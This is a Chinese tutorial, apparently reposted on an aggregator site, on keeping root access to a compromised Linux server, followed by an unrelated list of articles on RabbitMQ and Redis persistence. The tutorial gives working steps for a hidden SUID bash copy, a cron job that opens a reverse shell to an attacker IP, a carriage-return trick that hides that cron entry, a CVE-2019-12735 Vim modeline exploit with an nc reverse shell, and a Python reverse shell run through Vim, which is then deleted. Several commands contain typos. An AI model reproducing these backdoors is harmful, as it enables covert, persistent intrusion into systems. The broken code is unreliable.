持久化:Linux利用SUID、任务计划、vim进行权限维持

这篇具有很好参考价值的文章主要介绍了持久化:Linux利用SUID、任务计划、vim进行权限维持。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

利用Linux SUID进行权限维持

利用Linux计划任务进行权限维持

利用Vim创建后门

利用CVE-2019-12735进行权限维持

使用Vim运行Python后门程序


利用Linux SUID进行权限维持

在前面我们使用Linux的SUID权限进行了权限提升,然后SUID还可以用来进行持久化

利用SUID我们可以解除低权限用户获取高权限,但是这种手段通常用在已经获取root权限的情况,攻击者在拿到root权限后,可以使用root权限留下一个SUID后门,这样就算以后权限被降级,攻击者仍然可以使用这个后门取回root权限

(1)首先我们使用root权限的用户执行下列命令,将/bin/bash复制为.exp(.是为了将该文件设置为隐藏文件)

cp /bin/bash  .exp

复制成功之后使用以下命令为.exp文件授权SUID权限:

chmod 4755 .exp

 持久化:Linux利用SUID、任务计划、vim进行权限维持,linux,ATT&CK,安全,linux,运维,服务器,安全,web安全,网络安全

接下来我们就可以使用普通用户身份来运行该程序

持久化:Linux利用SUID、任务计划、vim进行权限维持,linux,ATT&CK,安全,linux,运维,服务器,安全,web安全,网络安全

注:允许时需要加上-p选项,目的是为了绕过Bash 2的限制

可以看到这样我们还是可以恢复到root权限的

利用Linux计划任务进行权限维持

(1)Linux任务计划

计划任务是Linux中的一个非常实用的功能,在Linux中创建任务计划文件,该文件将会存储在/var/spool/cron根目录下。

存储文件的名称会与创建计划任务时所使用的用户的用户名一致,而系统应用创建计划任务生成的计划任务会存储在/etc/cron.d目录下,在使用crontab命令创建计划任务之前,需要查看当前所使用的用户是否具有执行crontab命令的权限。可以查看/etc/cron.deny文件查看该文件中记录的用户不允许执行crontab,而在/etc/cron.allow文件中记录的用户允许使用crontab命令

(2)在Linux中创建隐匿的任务计划

首先我们使用下列命令检查任务计划服务是否正常运行:

service cron status

持久化:Linux利用SUID、任务计划、vim进行权限维持,linux,ATT&CK,安全,linux,运维,服务器,安全,web安全,网络安全

然后使用crontab -l查看当前用户在系统中创建的任务计划:

持久化:Linux利用SUID、任务计划、vim进行权限维持,linux,ATT&CK,安全,linux,运维,服务器,安全,web安全,网络安全

要知道Linux中“万物皆文件”,crontab -l命令实际上是调用"cat /var/spool/cron/crontabs 当前登录的用户名"

因此,我们也可以通过直接编辑 /var/spool/cron/crontabs/root来编辑计划任务

echo "*/1 * * * * bash -i > & /dev/tcp/192.168.159.151/10086 0>&1" /var/spool/cron/crontabs/root

(3)那么攻击者可以执行下列命令来在任务计划写入一个一分钟执行一次的会连会话的语句,以达到权限维持的效果,但是这样很容易就会被crontab -l显示出来了

持久化:Linux利用SUID、任务计划、vim进行权限维持,linux,ATT&CK,安全,linux,运维,服务器,安全,web安全,网络安全

这里可以利用cat命令存在的一个缺陷,会自动识别转义字符,比如执行命令printf "123\r" > 1.txt 执行完成后使用cat命令读取该文件 ,可以看到无法读取123,只有使用vim才能看见文件的内容:

持久化:Linux利用SUID、任务计划、vim进行权限维持,linux,ATT&CK,安全,linux,运维,服务器,安全,web安全,网络安全

那么我们就可以利用这个特性,写入一个无法被crontab -l获取的计划任务:

执行下列命令来写入任务计划,

(crontab -1;printf "*/1 * * * * /tmp/1.sh;\rno crontab for" whoami %100c\n") |crontab -

执行完就可以看到使用Crontab -l查看是没有内容的,使用vim查看才可以看到内容,达到了创建隐藏后门达到了权限维持的目的

利用Vim创建后门

利用CVE-2019-12735进行权限维持

利用该漏洞可以在Vim打开文件后执行指定命令,该漏洞影响低于Vim 8.1.1365的版本。

漏洞成因是在于Vim 中的modeline功能,开启该功能之后的用户可以输入一些特定的代码来控制编辑器,这个功能限制用户只能输入set命令,且命令只会在沙盒中运行,但是用户可以使用:source!指令来绕过沙盒执行命令

首先需要开启modeline功能对vimrc进行编辑,使用下列命令来开启modeline功能:

echo "set modeline" >> ~/.vimrc

随后使用下列命令将利用代码写入poc.txt

echo ':!id||"vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' >poc.txt

其中id为我们要执行的命令,写入之后使用Vim打开poc.txt就可以看到id执行的命令结果

最后使用下列命令来反弹一个shell:

echo ':!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.159.151 >/tmp/f||"vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' >shell.txt

参数意义:

  • fen: 当值为off时,所有的代码折叠都被打开,默认是off

  • fdm=expr: 产生折叠的方式,可能的值有manual, indent, expr, marker, syntax, diff。 其中expr表示将由’foldexpr’的值来给出某一行的折叠level

  • fde=assert_fails("source! %"): fde是foldexpr的缩写,功能见上一条;source!命令前文已经提过,这里的%是指当前文件;assert_fails用于执行命令并处理错误信息,这里我们只用于执行命令。

  • fdl=0: 折叠的程度,设置为0时会关闭所有的折叠,默认是0

  • fdt: 被关闭的折叠处显示的字符串,默认是”foldtext()”

  • ||表示只有在前一个命令执行失败后才会执行后一个命令,在这里uname -a会执行成功,||后面的字符串被忽略,所以PoC到这里就执行成功了。

攻击方使用下列命令监听:

nc -l 192.168.159.151 10031

然后在服务器这里使用vim shell.txt命令,攻击者就可以拿到服务器的shell了

使用Vim运行Python后门程序

渗透过程中如果需要执行python脚本,但是系统中并没有python环境,而此时就可以利用Vim自带的插件去运行Python脚本

执行下列命令系向1.py文件写入代码:

echo 'print("hello world")' > 1.py

然后使用Vpyfile插件来运行该Python脚本

使用下列命令:

Vim  -E -c "pyfile 1.py"

持久化:Linux利用SUID、任务计划、vim进行权限维持,linux,ATT&CK,安全,linux,运维,服务器,安全,web安全,网络安全

如果想要反弹shell,可以在文件中写下如下代码:

import socket sybprocess os;
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.159.151",8888));
os.dup2(s.filno(),0);
os.dup2(s.filno(),1);
os.dup2(s.filno(),2);
p = subprocess.call(["/bin/sh","-i"]);

然后在攻击机的监听下,在服务器上执行以下命令

$(nohup vim -E -c "py3file 1.py" > /dev/null 2>&1 &) && sleep 2 && rm -f 1.py 

执行完成后就会发现反弹shell成功了文章来源地址https://www.toymoban.com/news/detail-830382.html

到了这里,关于持久化:Linux利用SUID、任务计划、vim进行权限维持的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • RabbitMQ系列(8)--实现RabbitMQ队列持久化及消息持久化

    概念:在上一章文章中我们演示了消费者宕机的情况下消息没有被消费成功后会重新入队,然后再被消费,但如何保障RabbitMQ服务停掉的情况下,生产者发过来的消息不会丢失,这时候我们为了消息不会丢失就需要将队列和消息都标记为持久化。 1、实现RabbitMQ队列持久化 只需

    2024年02月09日
    浏览(37)
  • 全面解析 Redis 持久化:RDB、AOF与混合持久化

    前言: 每次你在游戏中看到玩家排行榜,或者在音乐应用中浏览热门歌单,有没有想过这个排行榜是如何做到实时更新的?当然,依靠 Redis 即可做到。 在技术领域,我们经常听到 「键值存储」 这个词。但在 Redis 的世界里,这只是冰山一角。Redis 的对象,不仅仅是简单的数据

    2024年03月10日
    浏览(63)
  • Redis 持久化-RDB和 持久化-AOF 的详细介绍以及区别

    在线文档: https://redis.io/topics/persistence RDB(Redis DataBase) AOF(Append Of File) 在指定的时间间隔内将内存中的数据集快照写入磁盘, 也就Snapshot 快照,恢复时将快照文件读到内存 RDB 及其执行流程 对上图的解读 具体流程如下: redis 客户端执行bgsave 命令或者自动触发bgsave 命令;

    2024年02月09日
    浏览(66)
  • docker持久化部署vue前端nodejs后端项目-- 01. docker以及docker-compose在window以及linux的安装

    本章节主要来讲述docker desktop 界面版本使用以及docker-compose 的安装和使用 GIT地址:添加链接描述 docker 专栏:点击此处 章节 1 docker以及docker-compose在window以及linux的安装 2 项目对应的docker-compose结构 3 怎么将docker-compose项目部署到服务器上 4 配置服务器JENKINS环境 额外篇 章节

    2024年02月04日
    浏览(48)
  • RabbitMQ---持久化

    • 如何避免消息丢失? 1) 消费者的ACK机制。可以防止消费者丢失消息。 2) 但是,如果在消费者消费之前,MQ就宕机了,消息就没了。 • 如何将消息进行持久化呢? 要将消息持久化,前提是:队列、Exchange都持久化

    2024年02月11日
    浏览(43)
  • Redis 持久化

    默认情况下,redis 工作时所有数据都是存储于内存中的,不论是否有磁盘上的持久化数据,都是工作于内存当中,redis 本身就是一个内存的数据库,如果 redis 崩溃或断电导致所有数据丢失,所以 redis 提供了持久化功能来保证数据的可靠性, redis 持久化有两种实现:RDB 和 A

    2024年01月18日
    浏览(39)
  • Android - 持久化方案

    Android Studio文件夹:View - Tool Windows - Device Explorer 三种持久化方案 文件存储 文件写入模式 MODE_APPEND:存在文件则追加内容 MODE_PRIVATE:存在文件则覆盖内容 SharedPreferences 数据库 实践 2.1 SharedPreferences存储、恢复数据 编写UI页面(包含存储、清空、恢复数据按钮) 核心处理逻辑

    2024年01月25日
    浏览(33)
  • iOS-持久化

    1.快速展示,提升体验 已经加载过的数据,用户下次查看时,不需要再次从网络(磁盘)加载,直接展示给用户 2.节省用户流量(节省服务器资源) 对于较大的资源数据进行缓存,下次展示无需下载消耗流量 同时降低了服务器的访问次数,节约服务器资源。(图片) 3.离线

    2024年02月15日
    浏览(31)
  • 【iOS】—— 持久化

    快速展示,提升体验 已经加载过的数据,用户下次查看时,不需要再次从网络(磁盘)加载,直接展示给用户 节省用户流量(节省服务器资源) 对于较大的资源数据进行缓存,下次展示无需下载消耗流量 同时降低了服务器的访问次数,节约服务器资源。 离线使用 用户浏览

    2024年02月15日
    浏览(40)
  • Redis 教程 - 持久化

    在 Redis 中,持久化是指将数据从内存保存到磁盘上,以便在重启或服务器故障后仍能恢复数据。Redis 提供了两种持久化方式:RDB(Redis Database)和 AOF(Append-Only File)。本教程将介绍如何实现 Redis 的持久化。 RDB 是 Redis 的默认持久化方式。它将 Redis 数据以二进制格式保存到磁

    2024年02月10日
    浏览(44)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包